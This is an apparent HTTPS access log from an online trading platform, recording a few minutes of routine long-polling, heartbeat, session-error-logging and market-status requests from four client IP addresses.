[09/Jan/2026:14:33:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940684102 HTTP/1.1" -
[09/Jan/2026:14:33:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940680594 HTTP/1.1" -
[09/Jan/2026:14:33:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940681613 HTTP/1.1" -
[09/Jan/2026:14:33:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940697187 HTTP/1.1" -
[09/Jan/2026:14:33:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940689202 HTTP/1.1" -
[09/Jan/2026:14:33:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:33:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:33:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:33:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:33:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940685747 HTTP/1.1" -
[09/Jan/2026:14:33:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940686646 HTTP/1.1" -
[09/Jan/2026:14:33:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:33:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:33:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:33:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:33:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940703282 HTTP/1.1" -
[09/Jan/2026:14:33:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940694272 HTTP/1.1" -
[09/Jan/2026:14:33:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940690972 HTTP/1.1" -
[09/Jan/2026:14:33:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940691671 HTTP/1.1" -
[09/Jan/2026:14:33:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940699297 HTTP/1.1" -
[09/Jan/2026:14:33:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940709196 HTTP/1.1" -
[09/Jan/2026:14:33:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940696124 HTTP/1.1" -
[09/Jan/2026:14:33:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940696710 HTTP/1.1" -
[09/Jan/2026:14:33:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:33:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:33:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:33:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:33:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940704397 HTTP/1.1" -
[09/Jan/2026:14:33:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940715198 HTTP/1.1" -
[09/Jan/2026:14:33:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:33:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:33:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940701283 HTTP/1.1" -
[09/Jan/2026:14:33:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940701752 HTTP/1.1" -
[09/Jan/2026:14:33:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940709460 HTTP/1.1" -
[09/Jan/2026:14:33:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:33:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:33:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940721188 HTTP/1.1" -
[09/Jan/2026:14:33:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940706788 HTTP/1.1" -
[09/Jan/2026:14:33:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940706334 HTTP/1.1" -
[09/Jan/2026:14:33:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940714489 HTTP/1.1" -
[09/Jan/2026:14:34:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940727188 HTTP/1.1" -
[09/Jan/2026:14:34:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940711827 HTTP/1.1" -
[09/Jan/2026:14:34:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940711487 HTTP/1.1" -
[09/Jan/2026:14:34:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:34:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:34:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940719575 HTTP/1.1" -
[09/Jan/2026:14:34:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:34:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:34:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940716862 HTTP/1.1" -
[09/Jan/2026:14:34:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940716697 HTTP/1.1" -
[09/Jan/2026:14:34:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940733193 HTTP/1.1" -
[09/Jan/2026:14:34:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940724657 HTTP/1.1" -
[09/Jan/2026:14:34:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940721893 HTTP/1.1" -
[09/Jan/2026:14:34:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940721851 HTTP/1.1" -
[09/Jan/2026:14:34:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940729687 HTTP/1.1" -
[09/Jan/2026:14:34:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940739191 HTTP/1.1" -
[09/Jan/2026:14:34:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:34:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:34:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940726933 HTTP/1.1" -
[09/Jan/2026:14:34:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:34:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:34:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940726997 HTTP/1.1" -
[09/Jan/2026:14:34:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940734791 HTTP/1.1" -
[09/Jan/2026:14:34:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940745188 HTTP/1.1" -
[09/Jan/2026:14:34:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:34:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:34:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940731978 HTTP/1.1" -
[09/Jan/2026:14:34:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940732039 HTTP/1.1" -
[09/Jan/2026:14:34:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940739848 HTTP/1.1" -
[09/Jan/2026:14:34:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:34:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:34:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940751193 HTTP/1.1" -
[09/Jan/2026:14:34:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940737014 HTTP/1.1" -
[09/Jan/2026:14:34:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940737173 HTTP/1.1" -
[09/Jan/2026:14:34:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940744931 HTTP/1.1" -
[09/Jan/2026:14:34:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940757190 HTTP/1.1" -
[09/Jan/2026:14:34:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940742036 HTTP/1.1" -
[09/Jan/2026:14:34:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940742349 HTTP/1.1" -
[09/Jan/2026:14:34:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:34:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:34:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940750030 HTTP/1.1" -
[09/Jan/2026:14:34:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:34:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:34:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940747077 HTTP/1.1" -
[09/Jan/2026:14:34:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:34:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:34:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:34:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940763274 HTTP/1.1" -
[09/Jan/2026:14:34:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:34:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940747478 HTTP/1.1" -
[09/Jan/2026:14:34:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940755100 HTTP/1.1" -
[09/Jan/2026:14:34:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940752095 HTTP/1.1" -
[09/Jan/2026:14:34:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940752614 HTTP/1.1" -
